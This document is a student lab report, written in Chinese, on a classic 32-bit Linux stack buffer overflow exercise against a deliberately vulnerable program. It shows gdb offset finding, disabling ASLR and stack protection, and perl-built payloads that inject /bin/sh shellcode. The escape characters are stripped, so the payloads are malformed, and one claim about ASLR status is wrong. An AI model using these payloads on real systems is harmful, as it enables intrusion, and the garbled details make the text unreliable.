Exp1 PC平台逆向破解(5)M 20154307 冯彬(二)#
1.通过构造输入参数,造成BOF攻击,改变程序执行流##
知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术###
上一次我们了解到了getshell的地址
如图 0804847d
缓冲区溢出就是通过出入字符,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序。把该溢出部分的数字对应上getshell的地址,cpu就会执行之。
ok,我们用gdb调试确认多少字符之后能覆盖以及覆盖到什么位置。
我们输入0000000011111111222222223333333344444444
用info r
查看其溢出寄存器状态,而我们知道,EIP寄存器,用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。
查看溢出字符,确定为4444
然后我们在确定其溢出的顺序
确认字节顺序,32bit+7d840408,类似于00000000111111112222222233333333x7dx84x04x08x0a
(回车键的ASCII码对应是0a,如果没有的话,在程序运行时就需要手工按一下回车键)
如上图,> input
是将perl生成的字符串存储到文件input中,通过16进制查看input中的内容。
然后将input的输入,通过管道符“|”,作为20154307的输入。
2.注入Shellcode并执行##
1.shellcode####
shellcode就是一段机器指令
我们采用的shellcode是参考提供的
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2.准备工作####
execstack -s 文件名 //设置堆栈可执行
execstack -q 文件名 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //检测地址随机化状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检测地址随机化状态
如上图,显示为0时表示地址已经随机化
3.注入工作####
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。
我们采用前者
和之前一样,我们把输入的字串(代码)放入input_shellcode文件里
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
其中,x4x3x2x1 是用来试探地址的。
打开一个终端注入该语句
(cat input_shellcode;cat) | ./文件名
注意,此时回车一次就够了,样例如上图所示
然后再打开一个终端
用这个ps -ef | grep 文件名
查看进程号
如上图,进程号为2989,进入gdb调试该进程
attach 进程号
在gdb状态下,通过设置断点,来查看注入buf的内存地址
设置断点,然后切回另外一个终端,回车,回到这个终端继续。
x/16x 0xffffd3cc
,找到了1234的位置
如上图,我们还找到了shellcode的起始位置。x1x2x3x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd3d0,我们输入
perl -e 'print "A" x 32;print "xd0xd3xffxffx31xf6xf7xe6x52x52x52x54x5bx53x5fxc7x07x2fx62x69x6exc7x47x04x2fx2fx73x68x40x75x04xb0x3bx0fx05x31xc9xb0x0bxcdx80x90x00"' > input_shellcode
如上图,注入攻击,成功了。